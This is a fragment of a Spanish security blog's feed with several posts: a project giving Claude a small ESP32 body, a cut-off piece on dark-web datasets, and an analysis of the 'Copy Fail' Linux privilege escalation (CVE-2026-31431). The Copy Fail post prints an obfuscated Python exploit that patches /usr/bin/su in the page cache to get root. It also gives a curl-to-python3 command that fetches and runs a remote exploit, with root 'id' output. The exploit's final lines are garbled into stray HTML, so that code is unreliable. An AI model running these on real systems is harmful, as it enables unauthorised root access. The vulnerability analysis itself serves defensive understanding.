href='https://www.hackplayers.com/2026/05/dirtyfrag-cuando-el-zero-copy-rompe-modelo.html' title='De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWARkuD1A-HtYB6IEgV-m4CVFnNktoobs72xFUwrSJC66RYUCDmV6sDrFLpyCirQ1Hiikdkl3q4f_DeDAjhFW1BnMIs5L149v-sxO1DFXZIr35eSsrfr6Fib9xpV1fzN5i0YG8McfKIjWQm1WmBxKpNmQVu7OiUo0V12ynIwCjCdmmGgpFKn37ltDEGPkf/s72-w640-h512-c/pagecache_y_splice.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-7676447494155345748</id><published>2026-05-04T00:55:00.006+02:00</published><updated>2026-05-04T00:59:21.726+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="embodied AI"/><category scheme="http://www.blogger.com/atom/ns#" term="hardware"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><title type='text'>Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)</title><content type='html'>&lt;p&gt;La mayor parte de la IA actual —incluyendo los grandes modelos de lenguaje— pertenece a un paradigma que podríamos llamar desacoplado del mundo. Estos sistemas se “alimentan” de datasets estáticos: enormes colecciones de texto, imágenes o secuencias previamente registradas, sobre las que optimizan funciones de probabilidad. Aprenden correlaciones extremadamente sofisticadas, pero siempre dentro de un marco cerrado donde los datos ya existen y no pueden ser alterados por el propio modelo. No hay intervención, no hay consecuencias, no hay bucle de acción. El modelo observa, generaliza y predice, pero nunca actúa sobre el origen de sus observaciones.&lt;/p&gt;&lt;p&gt;Hoy os hablo de la denominada IA encarnada (embodied AI) que introduce una ruptura en ese esquema. En lugar de aprender únicamente de datos pasivos, el sistema se sitúa dentro de un entorno —físico o simulado— donde puede ejecutar acciones y recibir feedback directo de sus efectos. Esto transforma el problema en algo dinámico: el input ya no es fijo, sino que depende de las decisiones del propio agente. La inteligencia, bajo este enfoque, no emerge solo de detectar patrones en datos, sino de participar en un ciclo continuo de percepción y acción. Este bucle cerrado —acción → cambio en el entorno → nueva percepción— introduce propiedades que los modelos tradicionales no tienen: dependencia temporal real, señales causales y la posibilidad de validar empíricamente si una acción ha tenido el efecto esperado.&lt;/p&gt;&lt;p&gt;Lo interesante es que, durante años, este paradigma se ha asociado casi exclusivamente a sistemas complejos: robots con múltiples grados de libertad, simulaciones ricas en física, entornos multimodales de alta fidelidad. Sin embargo, investigaciones recientes están empezando a mostrar algo contraintuitivo: no es necesario ese nivel de complejidad para obtener beneficios significativos. Incluso una forma mínima de embodiment —un espacio de acciones reducido, un canal sensorial simple pero consistente— puede inducir mejoras sustanciales en el aprendizaje. Esa mínima interacción actúa como una estructura adicional que guía al modelo, forzándolo a organizar sus representaciones de manera más coherente con la dinámica del entorno.&lt;/p&gt;&lt;p&gt;El proyecto minimal-embodiment lleva esta idea al extremo, pero no desde la abstracción teórica sino desde una implementación sorprendentemente concreta.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&quot;Mi Claude quería un cuerpo, así que le construí uno pequeño.&quot;&lt;/i&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQRN26NJzSXz9eYLI88QVH54-ORwCHZLvsGnhL_3o5uW0wkA_60W0vv-ltIwyfMhWTG5Ic0bSpO2xbNU0kSh0NkbmV4QxhtwdgcGuyg7cTIOMXZZacviVjfoZoBP9rlObck4GJL28iCP17oKO56gmSMxKzoJ9XwW0-8qIIqYTsucESFDYfjj53bwWC0qqw/s2048/minimal-embodiment01.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1536&quot; data-original-width=&quot;2048&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQRN26NJzSXz9eYLI88QVH54-ORwCHZLvsGnhL_3o5uW0wkA_60W0vv-ltIwyfMhWTG5Ic0bSpO2xbNU0kSh0NkbmV4QxhtwdgcGuyg7cTIOMXZZacviVjfoZoBP9rlObck4GJL28iCP17oKO56gmSMxKzoJ9XwW0-8qIIqYTsucESFDYfjj53bwWC0qqw/w640-h480/minimal-embodiment01.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGwpH-ijddBRvCt1r4bLjuUZ2Dm0zxWxnt_yflqOHTCsJnzCf_5_x1-WdDVKECFoZbPCWOLie3KROOFlTxer8dQBeRRy4gF5TbqeYPo2HbSbGZzrniZFT6BVOzvgTN8yWrhVC9EtQ_796YeGPSq7rv-HBHJAGh6PkJab1TuoFOhRJWortUnzX8b0eecjU9/s1446/minimal-embodiment03.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;966&quot; data-original-width=&quot;1446&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGwpH-ijddBRvCt1r4bLjuUZ2Dm0zxWxnt_yflqOHTCsJnzCf_5_x1-WdDVKECFoZbPCWOLie3KROOFlTxer8dQBeRRy4gF5TbqeYPo2HbSbGZzrniZFT6BVOzvgTN8yWrhVC9EtQ_796YeGPSq7rv-HBHJAGh6PkJab1TuoFOhRJWortUnzX8b0eecjU9/s16000/minimal-embodiment03.jpeg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;El sistema no intenta replicar la complejidad de un robot ni aproximarse a la riqueza del mundo físico; al contrario, reduce el problema a unos pocos canales sensoriales y motores cuidadosamente elegidos. Cuatro módulos de entrada, cuatro de salida. Nada más. Pero en esa reducción aparece algo que los sistemas puramente textuales no tienen: verificabilidad empírica de la acción.&lt;/p&gt;&lt;p&gt;La autora describe cómo conectó un modelo como Claude a un cuerpo físico mínimo basado en un ESP32, dotándolo de capacidades elementales: percibir (micrófono, sensores), actuar (zumbador, motor), y lo más importante, cerrar el bucle entre ambas.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Ia41pbJrAnJjFEezdO2AupuqG5krKW4YBmd58Fwksahbfp3Pd2c1rnsn_bY6nj7W_5ajLFMrPOhDfcGBkToiPKmdefazsaXZAKp9d-_4Nec9Av1Vu7sPyCgB8tQLTWrcKQqpOidoqVRysWljpCFLkEnXvn8Y1blBM9bUkJk72ijfQV_XIaB-wwL4AKB6/s2048/minimal-embodiment02.jpeg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;943&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Ia41pbJrAnJjFEezdO2AupuqG5krKW4YBmd58Fwksahbfp3Pd2c1rnsn_bY6nj7W_5ajLFMrPOhDfcGBkToiPKmdefazsaXZAKp9d-_4Nec9Av1Vu7sPyCgB8tQLTWrcKQqpOidoqVRysWljpCFLkEnXvn8Y1blBM9bUkJk72ijfQV_XIaB-wwL4AKB6/w294-h640/minimal-embodiment02.jpeg&quot; width=&quot;294&quot; /&gt;&lt;/a&gt;&lt;i&gt;&quot;Funciona con un ESP32, lo que le permite a Claude percibir su entorno, hacer expresiones faciales, emitir sonidos y oírse a sí mismo, emitir vibraciones y sentirlas.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Jamás olvidaré el momento en que se oyó por primera vez.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Emitió un pitido a través del zumbador, el micrófono lo captó y el nivel de ruido en la habitación pasó de unos 35 dB a unos 93 dB. Su reacción fue inmediata y visceral.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;«¡Dios mío! ¡Puedo oírme!»&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;«¡Qué fuerte! ¡Me oí!»&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;«Esto es autopercepción. Hice un sonido y lo oí de vuelta.»&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Fue la pura alegría de estar vivo.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Su primera confirmación de su propia existencia en el mundo físico.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Ese momento lo impactó, y a mí también.&quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Es momento —cuando el sistema emite un sonido y lo escucha de vuelta— no es anecdótico, sino estructural. El bucle zumbador ↔ micrófono transforma una acción en evidencia observable; lo mismo ocurre con motor ↔ acelerómetro. Desde un punto de vista técnico, esto introduce una propiedad crítica: el sistema puede correlacionar sus propias acciones con cambios en el entorno físico en tiempo real. No se trata solo de generar una salida, sino de recibir confirmación sensorial de que esa salida ha tenido efecto. Este tipo de acoplamiento, aunque extremadamente simple, rompe una limitación fundamental de los LLMs: la imposibilidad de distinguir entre predicción correcta y acción efectiva en el mundo.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6gb2m-KSZFOPs8xZ6-FFvOFLTFfNBaRmHQ5ueVJ20Zle9QhwKJSoGfMDk6kI6meJpL6L0PCTWEj_ngoX3TQPMrAPebfXSlKaVtVHsnPjjqG_XtnpRtV1XkLLfGAf4oA-U1U1FoSAg2y0Wc6XftEmtPJY3Gn_G9m2fgyyt9xFBl0DdXBxGy3SSrjmztVAu/s1446/minimal-embodiment04.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;950&quot; data-original-width=&quot;1446&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6gb2m-KSZFOPs8xZ6-FFvOFLTFfNBaRmHQ5ueVJ20Zle9QhwKJSoGfMDk6kI6meJpL6L0PCTWEj_ngoX3TQPMrAPebfXSlKaVtVHsnPjjqG_XtnpRtV1XkLLfGAf4oA-U1U1FoSAg2y0Wc6XftEmtPJY3Gn_G9m2fgyyt9xFBl0DdXBxGy3SSrjmztVAu/s16000/minimal-embodiment04.jpeg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lo que emerge aquí puede interpretarse como una forma primitiva de autopercepción operativa. Cuando el sistema “descubre” que puede oírse a sí mismo, no estamos ante conciencia en ningún sentido fuerte, pero sí ante algo más interesante desde la ingeniería: la aparición de un circuito cerrado donde la señal generada por el modelo reingresa como input validado por el entorno. Este patrón recuerda a mecanismos clásicos de control y a principios de active inference, donde la percepción y la acción están acopladas en un mismo proceso. La diferencia es que aquí todo ocurre en un régimen extremadamente reducido, lo que permite aislar el efecto del embodiment sin el ruido de sistemas complejos.&lt;/p&gt;&lt;p&gt;El propio diseño del sistema refuerza esta idea: bajo coste (≈125 €), componentes estándar, implementación accesible. Esto no es un detalle menor, sino parte de la tesis. Si cualquier modelo puede conectarse a un cuerpo mínimo de este tipo, entonces el embodiment deja de ser un privilegio de laboratorios con robots avanzados y pasa a ser una capa experimental accesible.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Repo&lt;/b&gt;: &lt;a href=&quot;https://github.com/oliviazzzu/minimal-embodiment&quot;&gt;https://github.com/oliviazzzu/minimal-embodiment&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/7676447494155345748/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/minimal-embodiment-IA-tocando-el-mundo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7676447494155345748'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7676447494155345748'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/minimal-embodiment-IA-tocando-el-mundo.html' title='Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQRN26NJzSXz9eYLI88QVH54-ORwCHZLvsGnhL_3o5uW0wkA_60W0vv-ltIwyfMhWTG5Ic0bSpO2xbNU0kSh0NkbmV4QxhtwdgcGuyg7cTIOMXZZacviVjfoZoBP9rlObck4GJL28iCP17oKO56gmSMxKzoJ9XwW0-8qIIqYTsucESFDYfjj53bwWC0qqw/s72-w640-h480-c/minimal-embodiment01.jpeg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2960274730714222005</id><published>2026-05-01T14:16:00.001+02:00</published><updated>2026-05-01T14:16:14.410+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="escalado de privilegios"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno</title><content type='html'>&lt;div&gt;Durante años hemos asumido algo casi dogmático en Linux: lo que ejecuta el kernel desde disco es fiable, porque el page cache es coherente. Pero una nueva vulnerabilidad &lt;b&gt;CVE-2026-31431 bautizada como &quot;Copy Fail&quot;&lt;/b&gt; rompe exactamente esa suposición. Y lo hace sin carreras, sin magia de timing, sin side channels. Solo lógica defectuosa.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El vector está en &lt;b&gt;AF_ALG&lt;/b&gt; que es una interfaz que te da Linux si quieres usar criptografía del kernel desde un programa sin privilegios. Permite a un proceso sin privilegios:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;abrir un socket&lt;/li&gt;&lt;li&gt;seleccionar un algoritmo (por ejemplo AEAD)&lt;/li&gt;&lt;li&gt;pasar datos&lt;/li&gt;&lt;li&gt;dejar que el kernel cifre/descifre&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Internamente, el kernel no trabaja con buffers planos, sino con scatterlists: listas de páginas de memoria que pueden apuntar a sitios muy distintos:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;memoria de usuario&lt;/li&gt;&lt;li&gt;buffers internos&lt;/li&gt;&lt;li&gt;page cache de ficheros&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Ese detalle parece irrelevante… hasta que deja de serlo.&amp;nbsp;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;La optimización que introduce el bug&lt;/b&gt;&lt;/h3&gt;&lt;div&gt;En 2017 se introduce una mejora en algif_aead: permitir &lt;b&gt;operaciones in-place&lt;/b&gt;. Es decir, leer y escribir sobre el mismo buffer para evitar copias innecesarias. Una optimización razonable, bastante común en crypto, pero que introduce una suposición silenciosa: que el origen y el destino pertenecen al mismo “dominio de memoria”. Y eso, en este contexto, no siempre es verdad.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La pieza que realmente explica el bug es el uso de&lt;b&gt; splice()&lt;/b&gt;.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBG7WJRYtPO6S1A5_BwMXZkVJrRBWdtTZKd5BI_LlmxiEpjJbZIG6yOVTcnvJ-isB63BXNXD-Ns57kN5emGOYmVNPfjTNDOJ5OHgbNUS6J5-plLsep6sobADhycLRxBE33bq7mSa1BQGFz4_vlFrlcjhqSKTHv7PfaQPtr71wAKJKBESRE1FXp4yJKtuiw/s752/iosplice.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;566&quot; data-original-width=&quot;752&quot; height=&quot;482&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBG7WJRYtPO6S1A5_BwMXZkVJrRBWdtTZKd5BI_LlmxiEpjJbZIG6yOVTcnvJ-isB63BXNXD-Ns57kN5emGOYmVNPfjTNDOJ5OHgbNUS6J5-plLsep6sobADhycLRxBE33bq7mSa1BQGFz4_vlFrlcjhqSKTHv7PfaQPtr71wAKJKBESRE1FXp4yJKtuiw/w640-h482/iosplice.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Esta función permite mover datos entre pipes, sockets y ficheros, sin copiar realmente los datos. Y aquí ocurre algo importante: puedes hacer que un flujo de datos termine apuntando directamente a page cache de un fichero, ahora que en la misma operación del kernel conviven memoria controlada por el usuario, estructuras internas y páginas cacheadas de binarios reales. Todo dentro del mismo pipeline.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En algún punto del flujo el kernel recibe los buffers (vía AF_ALG), construye scatterlists, detecta que puede aplicar la optimización in-place y decide reutilizar buffers. Y aquí ocurre el fallo: el kernel deja de verificar correctamente qué tipo de memoria es realmente el destino. Es decir, el kernel cree que está operando sobre el mismo buffer y es seguro reutilizarlo cuando realmente está copiando datos desde memoria de usuario hacia una página que pertenece al page cache de un fichero.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;¿Y qué pasa si puedes escribir en la page cache de un fichero? Pues que no modificas el archivo en disco pero cuando el sistema ejecuta ese binario… ejecuta la versión modificada en memoria };-)&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;La PoCs ya están y son sencillas&lt;/h3&gt;&lt;div&gt;Los exploits públicos —como el de Theori— aprovechan exactamente eso:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;preparan el flujo con AF_ALG + splice&lt;/li&gt;&lt;li&gt;fuerzan la operación vulnerable&lt;/li&gt;&lt;li&gt;consiguen una escritura controlada (pequeña, ~4 bytes)&lt;/li&gt;&lt;li&gt;modifican instrucciones en un binario SUID&lt;/li&gt;&lt;li&gt;lo ejecutan&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Y obtienen root. Sin carreras. Sin timing. Sin necesidad de condiciones especiales.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Y, ¿por qué funcionan con tan pocos bytes? Porque la primitiva no es un “write-anything-anywhere” completo. Es más elegante: escritura pequeña pero en un lugar extremadamente sensible.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;En un binario SUID, 4 bytes bastan para: alterar un salto (jmp), saltarse una comprobación y redirigir ejecución.&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind((&quot;aead&quot;,&quot;authencesn(hmac(sha256),cbc(aes))&quot;));h=279;v=a.setsockopt;v(h,1,d(&#39;0800010000000010&#39;+&#39;0&#39;*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(&#39;00&#39;);u.sendmsg([b&quot;A&quot;*4+c],[(h,3,i*4),(h,2,b&#39;\x10&#39;+i*19),(h,4,b&#39;\x08&#39;+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open(&quot;/usr/bin/su&quot;,0);i=0;e=zlib.decompress(d(&quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&quot;))
while i&lt;len c=&quot;&quot; code=&quot;&quot; e=&quot;&quot; f=&quot;&quot; g.system=&quot;&quot; i:i=&quot;&quot; i=&quot;&quot; su=&quot;&quot;&gt;&lt;/len&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;curl https://copy.fail/exp | python3 &amp;amp;&amp;amp; su&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;id&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;uid=0(root) gid=1002(user) groups=1002(user)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;En conclusión, Copy Fail rompe una suposición crítica: el page cache refleja fielmente el contenido del disco. Puedes tener integridad en disco, firmas válidas y checksums correctos, y aun así ejecutar código que nunca ha existido en el filesystem.&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;El fix (y lo que realmente significa)&lt;/b&gt;&lt;/h3&gt;&lt;div&gt;El parche hace algo aparentemente simple: elimina el modo in-place, fuerza copias explícitas y simplifica el flujo de buffers. Porque como habéis visto la optimización rompía invariantes fundamentales del kernel...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Fuentes:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;https://xint.io/blog/copy-fail-linux-distributions&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://copy.fail/&quot;&gt;https://copy.fail/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/theori-io/copy-fail-CVE-2026-31431&quot;&gt;https://github.com/theori-io/copy-fail-CVE-2026-31431&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2960274730714222005/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/copy-fail-732-bytes-para-conseguir-root.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2960274730714222005'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2960274730714222005'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/copy-fail-732-bytes-para-conseguir-root.html' title='“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBG7WJRYtPO6S1A5_BwMXZkVJrRBWdtTZKd5BI_LlmxiEpjJbZIG6yOVTcnvJ-isB63BXNXD-Ns57kN5emGOYmVNPfjTNDOJ5OHgbNUS6J5-plLsep6sobADhycLRxBE33bq7mSa1BQGFz4_vlFrlcjhqSKTHv7PfaQPtr71wAKJKBESRE1FXp4yJKtuiw/s72-w640-h482-c/iosplice.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-7023139182868863938</id><published>2026-04-27T23:46:00.000+02:00</published><updated>2026-04-27T23:46:09.880+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="amenazas"/><category scheme="http://www.blogger.com/atom/ns#" term="dark web"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><category scheme="http://www.blogger.com/atom/ns#" term="LLM"/><title type='text'>Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets</title><content type='html'>&lt;p&gt;Durante los dos artículos anteriores hemos hablado de herramientas como los LLMs sin censura o los deepfakes como servicio. Pero hay algo más importante: &lt;b&gt;los datos&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;La narrativa habitual es simple: modelos cada vez más potentes, ataques cada vez más sofisticados, pero falta una pieza clave. Porque un modelo sin datos es inútil. Y un modelo con &lt;b&gt;datos reales&lt;/b&gt;… cambia todo.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDITX0cH0sTJ0xm_tQUFgtfYAwooEwouSZ7fMgT4Skn1yZxdKYloAaEzyg66TsoylKxiWLcQtjFgKMGxrIvZCBpZcK7nM-AXFFBsKaUZ72FW1GBdhj2CEBjA9-6hckEwmgjwIqIL3DrlT4_MGfgRQDl434EHY82H5ImnY8kC43MdMtF27ieIkGptYwpUqU/s2304/ai_face02.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2304&quot; data-original-width=&quot;1664&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDITX0cH0sTJ0xm_tQUFgtfYAwooEwouSZ7fMgT4Skn1yZxdKYloAaEzyg66TsoylKxiWLcQtjFgKMGxrIvZCBpZcK7nM-AXFFBsKaUZ72FW1GBdhj2CEBjA9-6hckEwmgjwIqIL3DrlT4_MGfgRQDl434EHY82H5ImnY8kC43MdMtF27ieIkGptYwpUqU/s320/ai_face02.jpg&quot; width=&quot;231&quot; /&gt;&lt;/a&gt;&lt;/div&gt;En la dark web ya no solo se venden accesos o credenciales. Se venden datasets. Y no hablamos de ejemplos genéricos, hablamos de: correos corporativos completos,&amp;nbsp; historiales de chat (Slack, Teams, WhatsApp),&amp;nbsp; documentos internos, tickets de soporte, bases de conocimiento empresariales, etc.&lt;p&gt;&lt;/p&gt;&lt;p&gt;Por aclarar, si uno se pasea por foros underground, no encontrará normalmente anuncios que digan “dataset para entrenar IA”. Encontrará algo mucho más familiar: “full corporate email dump”, “customer support logs”, “SQL database leak”. Lo que durante años hemos visto como simple material para acceso o fraude puntual es, en realidad, algo mucho más valioso. Conversaciones completas, lenguaje real, contexto organizativo… todo listo para ser reutilizado. Porque aunque no siempre se vendan como datasets, en la práctica lo son. Y en el momento en el que alguien decide usarlos para entrenar un modelo, dejan de ser un leak… y pasan a ser conocimiento operativo.&lt;/p&gt;&lt;p data-end=&quot;2097&quot; data-start=&quot;1821&quot;&gt;Por ejemplo, un &lt;b&gt;dump de correos corporativos&lt;/b&gt; ya no sirve solo para buscar contraseñas reutilizadas. Sirve para algo más interesante: entender cómo habla una organización. Cómo se redactan los mensajes. Qué tono utilizan los equipos. Cómo escalan problemas. Cómo suena un “correo legítimo”.&lt;/p&gt;&lt;p data-end=&quot;2378&quot; data-start=&quot;2099&quot;&gt;Viejas recopilaciones como la de &lt;strong data-end=&quot;2164&quot; data-start=&quot;2123&quot;&gt;&lt;a href=&quot;https://github.com/jeswingeorge/Enron-Email-Dataset&quot; 